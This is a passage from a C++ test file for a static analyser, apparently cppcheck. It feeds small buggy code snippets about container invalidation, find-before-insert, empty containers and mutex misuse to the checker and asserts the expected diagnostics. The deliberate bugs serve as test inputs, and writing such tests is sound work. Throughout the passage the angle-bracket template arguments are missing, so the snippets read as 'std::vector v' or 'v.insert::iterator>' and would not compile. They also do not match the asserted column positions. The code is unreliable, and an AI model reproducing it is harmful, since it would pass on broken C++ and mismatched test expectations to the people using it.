-> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A 